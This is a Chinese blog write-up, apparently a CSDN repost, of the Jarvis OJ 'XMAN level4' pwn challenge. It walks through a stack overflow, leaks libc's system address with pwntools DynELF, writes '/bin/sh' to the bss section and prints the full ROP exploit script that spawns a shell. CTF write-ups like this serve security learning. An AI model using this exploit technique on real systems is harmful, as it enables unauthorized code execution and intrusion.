18.9.20 Jarvis OJ PWN----[XMAN]level4

checksec之后,发现可以栈溢出

找可以溢出的地方

我们可以读取无穷无尽的数

但是在IDA中没找到system函数,同时题目也没有给我们lib文件,咋办…………

根据大佬的资料,了解到了pwntools的一个函数DynELFDynELF函数可以leak system的真实地址,当然最后我们还是要用rop代码重新还原回去执行的

先看一下DynELF怎么用,基本流程如下

d = DynELF(leak, elf=ELF("./xxx"))      #初始化DynELF模块 

systemAddress = d.lookup('system''libc')  #在libc文件中搜索system函数的地址

其中leak是自己定义的一个函数,用来返回一个存放被泄露地址所存放的地址,在最后的代码里有详细的写

同时还有一点,因为文件本身内部没有字符串/bin/sh,所以我们要将它写到bss段中一边以后读取,我们在IDA中,可以看到bss段哪里开始是空的

上脚本

#代码主体

bss_addr=0x0804A024
write_plt=bin.plt['write']
fun_addr=bin.symbols['vulnerable_function']
def leak_fun(address):
    payload='a'*(0x88+0x04)+p32(write_plt)+p32(fun_addr)+p32(1)+p32(address)+p32(4)
    cn.sendline(payload)
    leak_addr=cn.recv(4)
    return leak_addr

d=DynELF(leak_fun,elf=bin)
system_addr=d.lookup('system','libc')
read_plt=bin.symbols['read']
payload2='a'*(0x88+0x04)+p32(read_plt)+p32(fun_addr)+p32(0)+p32(bss_addr)+p32(8)
cn.sendline(payload2)
cn.send('/bin/sh\x00')
payload3='a'*(0x88+0x04)+p32(system_addr)+'hehe'+p32(bss_addr)
cn.sendline(payload3)
cn.interactive()

猜你喜欢

转载自blog.csdn.net/qq_42192672/article/details/82782010